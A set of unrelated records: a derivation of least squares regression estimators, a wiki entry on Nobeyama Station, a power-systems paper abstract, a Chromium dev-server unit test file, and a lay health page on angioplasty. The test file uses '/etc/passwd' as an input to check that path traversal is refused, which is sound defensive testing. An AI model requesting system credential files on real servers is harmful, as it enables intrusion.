* $$\frac{\partial S}{\partial \beta_j} = 2\sum_{i=1}^{m} \left( y_i-\sum_{k=1}^{n} X_{ik}\beta_k \right) (-X_{ij})\qquad (j=1,2,\dots, n).$$
Thus if $$\widehat \beta$$ minimizes S, we have
* $$2\sum_{i=1}^{m} \left( y_i-\sum_{k=1}^{n} X_{ik}\widehat \beta_k \right) (-X_{ij}) = 0\qquad (j=1,2,\dots, n).$$
Upon rearrangement, we obtain the normal equations:
* $$\sum_{i=1}^{m}\sum_{k=1}^{n} X_{ij}X_{ik}\widehat \beta_k=\sum_{i=1}^{m} X_{ij}y_i\qquad (j=1,2,\dots, n).$$
The normal equations are written in matrix notation as
* $$(\mathbf X^\mathrm{T} \mathbf X) \widehat{\boldsymbol{\beta}} = \mathbf X^\mathrm{T} \mathbf y$$ (where XT is the matrix transpose of X).
The solution of the normal equations yields the vector $$\widehat{\boldsymbol{\beta}}$$ of the optimal parameter values.
Derivation directly in terms of matrices
The normal equations can be derived directly from a matrix representation of the problem as follows. The objective is to minimize
* $$S(\boldsymbol{\beta})
= \bigl\|\mathbf y - \mathbf X \boldsymbol \beta \bigr\|^2 = (\mathbf y-\mathbf X \boldsymbol \beta)^{\rm T}(\mathbf y-\mathbf X \boldsymbol \beta) = \mathbf y ^{\rm T} \mathbf y - \boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf y - \mathbf y ^{\rm T} \mathbf X \boldsymbol \beta + \boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf X \boldsymbol \beta .$$
Here $$( \boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf y ) ^{\rm T} = \mathbf y ^{\rm T} \mathbf X \boldsymbol \beta$$ has the dimension 1x1 (the number of columns of $$\mathbf y$$), so it is a scalar and equal to its own transpose, hence $$\boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf y = \mathbf y ^{\rm T} \mathbf X \boldsymbol \beta$$ and the quantity to minimize becomes
* $$S(\boldsymbol{\beta}) = \mathbf y ^{\rm T} \mathbf y - 2\boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf y + \boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf X \boldsymbol \beta .$$
Differentiating this with respect to $$\boldsymbol \beta$$ and equating to zero to satisfy the first-order conditions gives
* $$- \mathbf X^{\rm T} \mathbf y+ (\mathbf X^{\rm T} \mathbf X ){\boldsymbol{\beta}} = 0,$$
which is equivalent to the above-given normal equations. A sufficient condition for satisfaction of the second-order conditions for a minimum is that $$\mathbf X$$ have full column rank, in which case $$\mathbf X^{\rm T} \mathbf X$$ is positive definite.
Derivation without calculus
When $$\mathbf X^{\rm T} \mathbf X$$ is positive definite, the formula for the minimizing value of $$ \boldsymbol \beta $$ can be derived without the use of derivatives. The quantity
* $$S(\boldsymbol{\beta}) = \mathbf y ^{\rm T} \mathbf y - 2\boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf y + \boldsymbol \beta ^{\rm T} \mathbf X ^{\rm T} \mathbf X \boldsymbol \beta $$
can be written as
* $$ \langle \boldsymbol \beta, \boldsymbol \beta \rangle - 2\langle \boldsymbol \beta, (\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y \rangle + \langle(\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y,(\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y \rangle+ C, $$
where $$ C $$ depends only on $$ \mathbf y $$ and $$ \mathbf X $$, and $$ \langle \cdot, \cdot \rangle $$ is the inner product defined by
* $$ \langle x, y \rangle = x ^{\rm T} (\mathbf X^{\rm T} \mathbf X) y. $$
It follows that $$ S(\boldsymbol{\beta}) $$ is equal to
* $$\langle \boldsymbol \beta - (\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y,\boldsymbol \beta - (\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y \rangle+ C $$
and therefore minimized exactly when
* $$\boldsymbol \beta - (\mathbf X^{\rm T} \mathbf X)^{-1}\mathbf X ^{\rm T} \mathbf y = 0.$$
Generalization for complex equations
In general, the coefficients of the matrices $$ \mathbf {X}, \boldsymbol{\beta} $$ and $$\mathbf{y}$$ can be complex. By using a Hermitian transpose instead of a simple transpose, it is possible to find a vector $$\boldsymbol{\widehat{\beta}} $$ which minimizes $$S(\boldsymbol{\beta})$$, just as for the real matrix case. In order to get the normal equations we follow a similar path as in previous derivations:
* $$ \displaystyle S(\boldsymbol{\beta})=\langle \mathbf {y} -\mathbf{X} \boldsymbol{\beta},\mathbf {y} -\mathbf {X} \boldsymbol{\beta} \rangle = \langle \mathbf {y} ,\mathbf {y} \rangle - \overline{\langle \mathbf{X} \boldsymbol{\beta},\mathbf {y} \rangle}-{\overline {\langle \mathbf{y},\mathbf{X} \boldsymbol{\beta}\rangle}} + \langle \mathbf {X} \boldsymbol{\beta},\mathbf {X} \boldsymbol{\beta} \rangle =\mathbf {y}^{\rm T} \overline{\mathbf {y}}-\boldsymbol{\beta}^\dagger \mathbf{X}^\dagger \mathbf{y} -\mathbf{y}^\dagger \mathbf {X} \boldsymbol{\beta} + \boldsymbol{\beta}^{\rm T} \mathbf {X} ^{\rm {T}} \overline{\mathbf {X} } \overline{\boldsymbol{\beta}}, $$
where $$ \dagger$$ stands for Hermitian transpose.
We should now take derivatives of $$ S(\boldsymbol{\beta}) $$ with respect to each of the coefficients $$ \beta_j $$, but first we separate real and imaginary parts to deal with the conjugate factors in above expression. For the $$ \beta_j$$ we have
* $$ \beta_j = \beta_j^R + i\beta_j^I $$
and the derivatives change into
* $$ \frac {\partial S}{\partial \beta_j} = \frac {\partial S}{\partial \beta_j^R} \frac {\partial \beta_j^R}{\partial \beta_j} + \frac {\partial S}{\partial \beta_j^I} \frac {\partial \beta_j^I}{\partial \beta_j} = \frac {\partial S}{\partial \beta_j^R} - i \frac {\partial S}{\partial \beta_j^I} \quad (j=1,2,3,\ldots,n). $$
After rewriting $$ S(\boldsymbol{\beta}) $$ in the summation form and writing $$\beta_j$$ explicitly, we can calculate both partial derivatives with result:
\begin{align} \frac {\partial S}{\partial \beta_j^R} = {} & -\sum_{i=1}^m \Big(\overline {X}_{ij} y_i + \overline{y}_i X_{ij} \Big) + 2\sum_{i=1}^m X_{ij} \overline{X}_{ij} \beta_j^R + \sum_{i=1}^m \sum_{k\neq j}^n \Big( X_{ij} \overline{X}_{ik} \overline{\beta}_k + \beta_k X_{ik} \overline{X}_{ij} \Big), \\[8pt] & {} -i{\frac {\partial S}{\partial \beta_j^I}} = \sum_{i=1}^m \Big(\overline{X}_{ij} y_i - \overline {y}_i X_{ij}{\Big )} - 2i\sum_{i=1}^m X_{ij}\overline{X}_{ij} \beta_j^I + \sum_{i=1}^m \sum_{k\neq j}^n \Big( X_{ij} \overline{X}_{ik} \overline{\beta}_k - \beta_k X_{ik} \overline{X}_{ij} \Big), \end{align} $$
which, after adding it together and comparing to zero (minimization condition for $$\boldsymbol{\widehat{\beta}} $$) yields
* $$ \sum_{i=1}^m X_{ij} \overline{y}_i = \sum_{i=1}^m \sum_{k=1}^n X_{ij} \overline{X}_{ik} \overline{\widehat{\beta}}_k \qquad (j=1,2,3,\ldots,n). $$
In matrix form:
* $$ \textbf{X}^{\rm {T}} \overline{\textbf{y}} = \textbf{X}^{\rm T} \overline{\big( \textbf{X} \boldsymbol{\widehat{\beta}} \big)} \quad \text{ or }\quad \big (\textbf{X}^\dagger \textbf{X} \big) \boldsymbol{\widehat{\beta}} = \textbf{X}^\dagger \textbf{y}. $$
Least squares estimator for β
Using matrix notation, the sum of squared residuals is given by
* $$S(\beta) = (y-X\beta)^T(y-X\beta). $$
Since this is a quadratic expression, the vector which gives the global minimum may be found via matrix calculus by differentiating with respect to the vector $$\beta$$ (using denominator layout) and setting equal to zero:
* $$ 0 = \frac{dS}{d\beta}(\widehat\beta) = \frac{d}{d\beta}\bigg(y^Ty - \beta^TX^Ty - y^TX\beta + \beta^TX^TX\beta\bigg)\bigg|_{\beta=\widehat\beta} = -2X^Ty + 2X^TX\widehat\beta$$
By assumption matrix X has full column rank, and therefore XTX is invertible and the least squares estimator for β is given by
* $$ \widehat\beta = (X^TX)^{-1}X^Ty $$
Unbiasedness and variance of $$\widehat\beta$$
Plug y = Xβ + ε into the formula for $$\widehat\beta$$ and then use the law of total expectation:
\begin{align}\operatorname{E}[\,\widehat\beta] &= \operatorname{E}\Big[(X^TX)^{-1}X^T(X\beta+\varepsilon)\Big] \\ &= \beta + \operatorname{E}\Big[(X^TX)^{-1}X^T\varepsilon\Big] \\ &= \beta + \operatorname{E}\Big[\operatorname{E}\Big[(X^TX)^{-1}X^T\varepsilon \mid X \Big]\Big] \\ &= \beta + \operatorname{E}\Big[(X^TX)^{-1}X^T\operatorname{E}[\varepsilon\mid X]\Big] &= \beta, \end{align} $$
where E[ε|X] = 0 by assumptions of the model. Since the expected value of $$\widehat{\beta}$$ equals the parameter it estimates, $$\beta$$, it is an unbiased estimator of $$\beta$$.
For the variance, let the covariance matrix of $$\varepsilon$$ be $$\operatorname{E}[\,\varepsilon\varepsilon^T\,] = \sigma^2 I$$ (where $$I$$ is the identity $$m\,\times\,m$$ matrix), and let X be a known constant. Then,
* $$\begin{align}
\operatorname{E}[\,(\widehat\beta - \beta)(\widehat\beta - \beta)^T] &= \operatorname{E}\Big[ ((X^TX)^{-1}X^T\varepsilon)((X^TX)^{-1}X^T\varepsilon)^T \Big] \\ &= \operatorname{E}\Big[ (X^TX)^{-1}X^T\varepsilon\varepsilon^TX(X^TX)^{-1} \Big] \\ &= (X^TX)^{-1}X^T\operatorname{E}\Big[ \varepsilon\varepsilon^T \Big] X(X^TX)^{-1}\\ &= (X^TX)^{-1}X^T\sigma^2X(X^TX)^{-1} \\ &= \sigma^2(X^TX)^{-1}X^TX(X^TX)^{-1} \\ &= \sigma^2 (X^TX)^{-1}, \end{align}$$
where we used the fact that $$\widehat{\beta} - \beta $$ is just an affine transformation of $$\varepsilon$$ by the matrix $$(X^TX)^{-1}X^T$$.
For a simple linear regression model, where $$\beta = [\beta_0,\beta_1]^T$$ ($$\beta_0$$ is the y-intercept and $$\beta_1$$ is the slope), one obtains
* $$\begin{align}
\sigma^2 (X^TX)^{-1} &= \sigma^2 \left( \begin{pmatrix} 1&1& \cdots \\x_1&x_2& \cdots \end{pmatrix}\begin{pmatrix} 1& x_1\\1& x_2\\ \vdots & \vdots\,\,\, \end{pmatrix} \right)^{-1}\\[6pt] &= \sigma^2 \left(\sum_{i=1}^m \begin{pmatrix} 1& x_i\\x_i& x_i^2\end{pmatrix} \right)^{-1}\\[6pt] &= \sigma^2 \begin{pmatrix} m& \sum x_i\\\sum x_i& \sum x_i^2\end{pmatrix}^{-1}\\[6pt] &= \sigma^2 \cdot \frac{1}{m\sum x_i^2-(\sum x_i)^2}\begin{pmatrix} \sum x_i^2& -\sum x_i\\-\sum x_i& m\end{pmatrix}\\[6pt] &= \sigma^2 \cdot \frac{1}{m\sum{(x_i - \bar{x})^2}}\begin{pmatrix} \sum x_i^2& -\sum x_i\\-\sum x_i& m\end{pmatrix} \\[8pt] \operatorname{Var}(\widehat\beta_1) &= \frac{\sigma^2}{\sum_{i=1}^m (x_i - \bar{x})^2}. \end{align} $$
Expected value and biasedness of $$\widehat\sigma^{\,2}$$
First we will plug in the expression for y into the estimator, and use the fact that X'M = MX = 0 (matrix M projects onto the space orthogonal to X):
* $$ \widehat\sigma^{\,2} = \tfrac{1}{n}y'My = \tfrac{1}{n} (X\beta+\varepsilon)'M(X\beta+\varepsilon) = \tfrac{1}{n} \varepsilon'M\varepsilon $$
Now we can recognize ε′Mε as a 1×1 matrix, such matrix is equal to its own trace. This is useful because by properties of trace operator, tr(AB) = tr(BA), and we can use this to separate disturbance ε from matrix M which is a function of regressors X:
* $$ \operatorname{E}\,\widehat\sigma^{\,2}
= \tfrac{1}{n}\operatorname{E}\big[\operatorname{tr}(\varepsilon'M\varepsilon)\big] = \tfrac{1}{n}\operatorname{tr}\big(\operatorname{E}[M\varepsilon\varepsilon']\big)$$
Using the Law of iterated expectation this can be written as
* $$\operatorname{E}\,\widehat\sigma^{\,2}
= \tfrac{1}{n}\operatorname{tr}\Big(\operatorname{E}\big[M\,\operatorname{E}[\varepsilon\varepsilon'|X]\big]\Big) = \tfrac{1}{n}\operatorname{tr}\big(\operatorname{E}[\sigma^2MI]\big) = \tfrac{1}{n}\sigma^2\operatorname{E}\big[ \operatorname{tr}\,M \big] $$
Recall that M = I − P where P is the projection onto linear space spanned by columns of matrix X. By properties of a projection matrix, it has p = rank(X) eigenvalues equal to 1, and all other eigenvalues are equal to 0. Trace of a matrix is equal to the sum of its characteristic values, thus tr(P) = p, and tr(M) = n − p. Therefore,
* $$\operatorname{E}\,\widehat\sigma^{\,2} = \frac{n-p}{n} \sigma^2$$
Since the expected value of $$\widehat\sigma^{\,2}$$ does not equal the parameter it estimates, $$\sigma^{\,2}$$, it is a biased estimator of $$\sigma^{\,2}$$. Note in the later section “Maximum likelihood” we show that under the additional assumption that errors are distributed normally, the estimator $$\widehat\sigma^{\,2}$$ is proportional to a chi-squared distribution with n – p degrees of freedom, from which the formula for expected value would immediately follow. However the result we have shown in this section is valid regardless of the distribution of the errors, and thus has importance on its own.
Consistency and asymptotic normality of $$\widehat\beta$$
Estimator $$\widehat\beta$$ can be written as
* $$\widehat\beta = \big(\tfrac{1}{n}X'X\big)^{-1}\tfrac{1}{n}X'y
= \beta + \big(\tfrac{1}{n}X'X\big)^{-1}\tfrac{1}{n} X'\varepsilon = \beta\; + \;\bigg(\frac{1}{n}\sum_{i=1}^n x_ix'_i\bigg)^{\!\!-1} \bigg(\frac{1}{n}\sum_{i=1}^n x_i\varepsilon_i\bigg)$$ We can use the law of large numbers to establish that
* $$\frac{1}{n}\sum_{i=1}^n x_ix'_i\ \xrightarrow{p}\ \operatorname{E}[x_ix_i']=\frac{Q_{xx}}{n}, \qquad
\frac{1}{n}\sum_{i=1}^n x_i\varepsilon_i\ \xrightarrow{p}\ \operatorname{E}[x_i\varepsilon_i]=0$$ By Slutsky's theorem and continuous mapping theorem these results can be combined to establish consistency of estimator $$\widehat\beta$$:
* $$\widehat\beta\ \xrightarrow{p}\ \beta + nQ_{xx}^{-1}\cdot 0 = \beta$$
The central limit theorem tells us that
* $$\frac{1}{\sqrt{n}}\sum_{i=1}^n x_i\varepsilon_i\ \xrightarrow{d}\ \mathcal{N}\big(0,\,V\big),$$ where $$V = \operatorname{Var}[x_i\varepsilon_i] = \operatorname{E}[\,\varepsilon_i^2x_ix'_i\,] = \operatorname{E}\big[\,\operatorname{E}[\varepsilon_i^2\mid x_i]\;x_ix'_i\,\big] = \sigma^2 \frac{Q_{xx}}{n}$$
Applying Slutsky's theorem again we'll have
* $$\sqrt{n}(\widehat\beta-\beta) = \bigg(\frac{1}{n}\sum_{i=1}^n x_ix'_i\bigg)^{\!\!-1} \bigg(\frac{1}{\sqrt{n}}\sum_{i=1}^n x_i\varepsilon_i\bigg)\ \xrightarrow{d}\ Q_{xx}^{-1}n\cdot\mathcal{N}\big(0, \sigma^2\frac{Q_{xx}}{n}\big) = \mathcal{N}\big(0,\sigma^2Q_{xx}^{-1}n\big)$$
Maximum likelihood approach
Maximum likelihood estimation is a generic technique for estimating the unknown parameters in a statistical model by constructing a log-likelihood function corresponding to the joint distribution of the data, then maximizing this function over all possible parameter values. In order to apply this method, we have to make an assumption about the distribution of y given X so that the log-likelihood function can be constructed. The connection of maximum likelihood estimation to OLS arises when this distribution is modeled as a multivariate normal.
Specifically, assume that the errors ε have multivariate normal distribution with mean 0 and variance matrix σ2I. Then the distribution of y conditionally on X is
* $$y\mid X\ \sim\ \mathcal{N}(X\beta,\, \sigma^2I)$$
and the log-likelihood function of the data will be
* $$\begin{align}
\mathcal{L}(\beta,\sigma^2\mid X) &= \ln\bigg( \frac{1}{(2\pi)^{n/2}(\sigma^2)^{n/2}}e^{ -\frac{1}{2}(y-X\beta)'(\sigma^2I)^{-1}(y-X\beta) } \bigg) \\[6pt] &= -\frac{n}{2}\ln 2\pi - \frac{n}{2}\ln\sigma^2 - \frac{1}{2\sigma^2}(y-X\beta)'(y-X\beta) \end{align}$$ Differentiating this expression with respect to β and σ2 we'll find the ML estimates of these parameters:
* $$\begin{align}
\frac{\partial\mathcal{L}}{\partial\beta'} & = -\frac{1}{2\sigma^2}\Big(-2X'y + 2X'X\beta\Big)=0 \quad\Rightarrow\quad \widehat\beta = (X'X)^{-1}X'y \\[6pt] \frac{\partial\mathcal{L}}{\partial\sigma^2} & = -\frac{n}{2} \frac{1}{\sigma^2} + \frac{1}{2\sigma^4}(y-X\beta)'(y-X\beta)=0 \quad\Rightarrow\quad \widehat\sigma^{\,2} = \frac{1}{n} (y-X\widehat\beta)'(y-X\widehat\beta) = \frac{1}{n} S(\widehat\beta) \end{align}$$ We can check that this is indeed a maximum by looking at the Hessian matrix of the log-likelihood function.
Finite-sample distribution
Since we have assumed in this section that the distribution of error terms is known to be normal, it becomes possible to derive the explicit expressions for the distributions of estimators $$\widehat\beta$$ and $$\widehat\sigma^{\,2}$$:
* $$\widehat\beta = (X'X)^{-1}X'y = (X'X)^{-1}X'(X\beta+\varepsilon) = \beta + (X'X)^{-1}X'\mathcal{N}(0,\sigma^2I)$$
so that by the affine transformation properties of multivariate normal distribution
* $$\widehat\beta\mid X\ \sim\ \mathcal{N}(\beta,\, \sigma^2(X'X)^{-1}).$$
Similarly the distribution of $$\widehat\sigma^{\,2}$$ follows from
* $$\begin{align}
\widehat\sigma^{\,2} &= \tfrac{1}{n}(y-X(X'X)^{-1}X'y)'(y-X(X'X)^{-1}X'y) \\[5pt] &= \tfrac{1}{n}(My)'My \\[5pt] &=\tfrac{1}{n}(X\beta+\varepsilon)'M(X\beta+\varepsilon) \\[5pt] &= \tfrac{1}{n}\varepsilon'M\varepsilon, \end{align}$$
where $$M=I-X(X'X)^{-1}X'$$ is the symmetric projection matrix onto subspace orthogonal to X, and thus MX = X′M = 0. We have argued before that this matrix rank n – p, and thus by properties of chi-squared distribution,
* $$\tfrac{n}{\sigma^2} \widehat\sigma^{\,2}\mid X = (\varepsilon/\sigma)'M(\varepsilon/\sigma)\ \sim\ \chi^2_{n-p}$$
Moreover, the estimators $$\widehat\beta$$ and $$\widehat\sigma^{\,2}$$ turn out to be independent (conditional on X), a fact which is fundamental for construction of the classical t- and F-tests. The independence can be easily seen from following: the estimator $$\widehat\beta$$ represents coefficients of vector decomposition of $$\widehat{y}=X\widehat\beta=Py=X\beta+P\varepsilon$$ by the basis of columns of X, as such $$\widehat\beta$$ is a function of Pε. At the same time, the estimator $$\widehat\sigma^{\,2}$$ is a norm of vector Mε divided by n, and thus this estimator is a function of Mε. Now, random variables (Pε, Mε) are jointly normal as a linear transformation of ε, and they are also uncorrelated because PM = 0. By properties of multivariate normal distribution, this means that Pε and Mε are independent, and therefore estimators $$\widehat\beta$$ and $$\widehat\sigma^{\,2}$$ will be independent as well.
Derivation of simple linear regression estimators
We look for $$\widehat{\alpha}$$ and $$\widehat{\beta}$$ that minimize the sum of squared errors (SSE):
* $$\min_{\widehat{\alpha}, \widehat{\beta}} \,\operatorname{SSE}\left(\widehat{\alpha}, \widehat{\beta}\right) \equiv \min_{\widehat{\alpha}, \widehat{\beta}} \sum_{i=1}^n \left(y_i - \widehat{\alpha} - \widehat{\beta} x_i\right)^2$$
To find a minimum take partial derivatives with respect to $$\widehat{\alpha}$$ and $$\widehat{\beta}$$
* $$\begin{align}
&\frac{\partial}{\partial\widehat{\alpha}} \left (\operatorname{SSE} \left(\widehat{\alpha}, \widehat{\beta}\right) \right ) = -2\sum_{i=1}^n \left(y_i - \widehat{\alpha} - \widehat{\beta}x_i\right) = 0 \\[4pt] \Rightarrow {} &\sum_{i=1}^n \left(y_i - \widehat{\alpha} - \widehat{\beta}x_i\right) = 0 \\[4pt] \Rightarrow {} &\sum_{i=1}^n y_i = \sum_{i=1}^n \widehat{\alpha} + \widehat{\beta}\sum_{i=1}^n x_i \\[4pt] \Rightarrow {} &\sum_{i=1}^n y_i = n\widehat{\alpha} + \widehat{\beta}\sum_{i=1}^n x_i \\[4pt] \Rightarrow {} &\frac{1}{n}\sum_{i=1}^n y_{i} = \widehat{\alpha} + \frac{1}{n} \widehat{\beta}\sum_{i=1}^n x_i \\[4pt] \Rightarrow {} &\bar{y} = \widehat{\alpha} + \widehat{\beta}\bar{x} \end{align}$$
Before taking partial derivative with respect to $$\widehat{\beta}$$, substitute the previous result for $$\widehat{\alpha}.$$
* $$\min_{\widehat{\alpha}, \widehat{\beta}} \sum_{i=1}^n \left[y_i - \left(\bar{y} - \widehat{\beta} \bar{x}\right) - \widehat{\beta}x_{i}\right]^2 = \min_{\widehat{\alpha}, \widehat{\beta}} \sum_{i=1}^n \left[\left(y_i - \bar{y}\right) - \widehat{\beta}\left(x_i - \bar{x}\right) \right]^2$$
Now, take the derivative with respect to $$\widehat{\beta}$$:
* $$\begin{align}
&\frac{\partial}{\partial\widehat{\beta}} \left (\operatorname{SSE} \left(\widehat{\alpha}, \widehat{\beta}\right) \right )= -2\sum_{i=1}^n \left[\left(y_{i} - \bar{y}\right) - \widehat{\beta}\left(x_{i} - \bar{x}\right)\right]\left(x_{i}-\bar{x}\right) = 0 \\ \Rightarrow {} &\sum_{i=1}^n \left(y_i - \bar{y}\right)\left(x_i - \bar{x}\right) - \widehat{\beta}\sum_{i=1}^n \left(x_i - \bar{x}\right)^2 = 0 \\ \Rightarrow {} & \widehat{\beta} = \frac{\sum_{i=1}^n \left(y_{i} - \bar{y}\right)\left(x_i - \bar{x}\right)}{\sum_{i=1}^n \left(x_{i}-\bar{x}\right)^2} = \frac{\operatorname{Cov}(x, y)}{\operatorname{Var}(x)} \end{align}$$
And finally substitute $$\widehat{\beta}$$ to determine $$\widehat{\alpha}$$
* $$\widehat{\alpha} = \bar{y} - \widehat{\beta}\bar{x}$$
|
WIKI
|
Nobeyama Station
Nobeyama Station (野辺山駅) is a railway station on the Koumi Line in the village of Minamimaki in Nagano Prefecture, Japan, operated by the East Japan Railway Company (JR East). The station is the highest JR station in Japan.
Lines
Nobeyama Station is served by the 78.9 km Koumi Line and is 23.4 km from the starting point of the line at Kobuchizawa Station.
Station layout
The station consists of one side platform and one island platform, serving three tracks, connected by a level crossing. The station has a Midori no Madoguchi staffed ticket office. A sign on the platform proclaims it to be the highest JR station in Japan, located at 1,345.67 m above sea level.
History
Nobeyama Station opened on 29 November 1935. With the privatization of Japanese National Railways (JNR) on 1 April 1987, the station came under the control of JR East. The current station building was completed in March 1983.
Passenger statistics
In fiscal 2015, the station was used by an average of 165 passengers daily (boarding passengers only).
Surrounding area
* Nobeyama radio observatory
* Nobeyama SL Land
* Nobeyama SL Land
|
WIKI
|
A Passivity Interpretation of Energy-Based Forced Oscillation Source Location Methods
Samuel Chevalier, Petr Vorobev, Konstantin Turitsyn
This paper develops a systematic framework for analyzing how low frequency forced oscillations propagate in electric power systems. Using this framework, the paper shows how to mathematically justify the so-called Dissipating Energy Flow (DEF) forced oscillation source location technique. The DEF's specific deficiencies are pinpointed, and its underlying energy function is analyzed via incremental passivity theory. This analysis is then used to prove that there exists no passivity transformation (i.e. quadratic energy function) which can simultaneously render all components of a lossy classical power system passive. The paper goes on to develop a simulation-free algorithm for predicting the performance of the DEF method in a generalized power system, and it analyzes the passivity of three non-classical load and generation components. The proposed propagation framework and performance algorithm are both tested and illustrated on the IEEE 39-bus New England system and the WECC 179-bus system.
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|
ESSENTIALAI-STEM
|
blob: 718b2d61d3dca1e321d9ac7b679a23fa18d99c16 [file] [log] [blame]
# Copyright (c) 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import json
import os
import unittest
from catapult_build import dev_server
from perf_insights_build import perf_insights_dev_server_config
from tracing_build import tracing_dev_server_config
import webapp2
class DevServerTests(unittest.TestCase):
def setUp(self):
self.pds = [
perf_insights_dev_server_config.PerfInsightsDevServerConfig(),
tracing_dev_server_config.TracingDevServerConfig(),
]
self.args = dev_server._AddCommandLineArguments(self.pds, [])
def testStaticDirectoryHandling(self):
app = dev_server.DevServerApp(self.pds, self.args)
request = webapp2.Request.blank('/tracing/tests.html')
response = request.get_response(app)
self.assertEqual(response.status_int, 200)
def testGetURLForAbsFilename(self):
app = dev_server.DevServerApp(self.pds, self.args)
class FakeServer(object):
pass
app.server = FakeServer()
cfg = tracing_dev_server_config.TracingDevServerConfig()
base_html_filename = os.path.join(cfg.project.tracing_src_path,
'base', 'base.html')
url = app.GetURLForAbsFilename(base_html_filename)
self.assertEqual(url, '/tracing/base/base.html')
url = app.GetURLForAbsFilename('/tmp/foo')
self.assertIsNone(url)
def testGetAbsFilenameForHref(self):
app = dev_server.DevServerApp(self.pds, self.args)
cfg = tracing_dev_server_config.TracingDevServerConfig()
base_html_filename = os.path.join(cfg.project.tracing_src_path,
'base', 'base.html')
filename = app.GetAbsFilenameForHref('/tracing/base/base.html')
self.assertEqual(base_html_filename, filename)
filename = app.GetAbsFilenameForHref('/etc/passwd')
self.assertIsNone(filename)
def testTestDataDirectory(self):
app = dev_server.DevServerApp(self.pds, self.args)
request = webapp2.Request.blank('/tracing/test_data/trivial_trace.json')
response = request.get_response(app)
self.assertEqual(response.status_int, 200)
def testTestDataDirectoryListing(self):
app = dev_server.DevServerApp(self.pds, self.args)
request = webapp2.Request.blank('/tracing/test_data/__file_list__')
response = request.get_response(app)
self.assertEqual(response.status_int, 200)
res = json.loads(response.body)
assert '/tracing/test_data/trivial_trace.json' in res
def testSkpDataDirectoryListing(self):
app = dev_server.DevServerApp(self.pds, self.args)
request = webapp2.Request.blank('/tracing/skp_data/__file_list__')
response = request.get_response(app)
self.assertEqual(response.status_int, 200)
res = json.loads(response.body)
assert '/tracing/skp_data/lthi_cats.skp' in res
def testTestListingHandler(self):
app = dev_server.DevServerApp(self.pds, self.args)
request = webapp2.Request.blank('/tracing/tests')
response = request.get_response(app)
self.assertEqual(response.status_int, 200)
res = json.loads(response.body)
self.assertTrue('test_relpaths' in res)
self.assertTrue(len(res['test_relpaths']) > 0)
|
ESSENTIALAI-STEM
|
Angioplasty
Angioplasty is a medical procedure to open narrowed or blocked blood vessels of the heart called the coronary arteries and is not considered a surgery. It is also called percutaneous transluminal coronary angioplasty (PTCA) and percutaneous coronary intervention (PCI). Angioplasty is used in other parts of the body also to treat peripheral artery diseases.
Angioplasty
Angioplasty is used to improve symptoms of coronary artery disease (CAD) such as angina and shortness of breath. Angina is a form of chest pain or discomfort that occurs when an area of the heart muscle is deprived of enough oxygen-rich blood. Angina may feel like pressure or squeezing in the chest. The pain also radiates to shoulders, arms, jaw, neck, or back. Angina can feel like indigestion.
Remarkably, angina itself is not a disease. Rather, it’s a symptom of an underlying heart problem and usually a symptom of coronary artery disease (CAD), the most common type of heart disease. In CAD, coronary arteries (the arteries that supply blood and oxygen to your heart) narrow down or get blocked by deposits called plaque. Plaque is made up of fat and cholesterol that builds up on the inside of the artery walls. This condition is called atherosclerosis.
Coronary angioplasty is also used to reduce damage to the heart muscle resulting from a heart attack. Atherosclerosis usually leads to heart attack. When plaque is formed, an area of plaque can rupture, resulting in a blood clot to form on the surface of the plaque. If the clot becomes large enough, it can completely block the flow of oxygen-rich blood to the part of the heart muscle fed by the artery.
Each year, about 1.1 million people in the United States have heart attacks, and almost half of them die. CAD, which often results in a heart attack, is the leading killer of both men and women.
Procedure
Angioplasty is invariably performed under local anesthesia. It can be uncomfortable, but is not usually painful. Balloon angioplasty (percutaneous transluminal coronary angioplasty or PTCA) is widely used for treatment of the blockages of coronary artery disease.
The surgeon makes a small incision in the groin or arm and inserts a thin tube, called a catheter, into the artery. The catheter includes a small balloon and a small wire tube, called a stent. The stent is usually a small, metal mesh tube that acts as a scaffold to provide support inside the coronary artery. A balloon catheter, placed over a guide wire, is used to insert the stent into the narrowed coronary artery.
Once in place, the balloon is inflated and the stent expands to the size of the artery and holds it open. This is to compress the plaque and enlarge the artery, and provide an adequate area for blood to flow through. The balloon is deflated and removed, and the stent stays in place permanently. The procedure may be repeated for one or more other narrowed sections within the coronary arteries.
Patients usually do not feel the catheter inside the blood vessels. Occasionally, the patient may feel a ‘missed’ or ‘extra’ heartbeat during the procedure. This is considered normal and of little concern. During the procedure patient heartbeat is monitored by electrodes placed on patient’s chest which provide a tracing on an ECG machine (electrocardiograph).
Duration
The duration of the procedure also depends on various factors. If just one section of artery is widened the procedure usually takes about 30 minutes. If several sections are to be widened then the procedure takes longer.
Hospital Stay and Recovery
Most people are admitted to hospital and monitored under specialized care overnight after angioplasty. They are usually sent home after 2-3 days stay in Hospital.
Over a several-week period, the artery heals around the stent.
Patients are advised to avoid any heavy activities such as lifting for about 15 days until the small wound where the catheter was inserted has healed. They’re also proscribed from driving a car for a week after having an angioplasty.
Success Rate
More than 9 in 10 coronary angioplasty procedures are successful at relieving angina. However, the use of coronary angioplasty is not possible with all people with angina. The reason for this is in some cases there are too many narrowed or it is not possible to stretch the artery for coronary angioplasty.
This occurs in about 1 in 20 cases where coronary angioplasty is tried. An alternative treatment coronary artery bypass grafting may then be an option to treat angina. Bypass grafting involves involve major surgery hence most patients feel that it was worth trying a coronary angioplasty first.
DISCLAIMER
This web page provides general information and discussions about health, medicine and related subjects. The information and other content provided on this website, or in any linked materials, are not intended and should not be construed as medical advice, nor is the information a substitute for professional medical expertise or treatment.
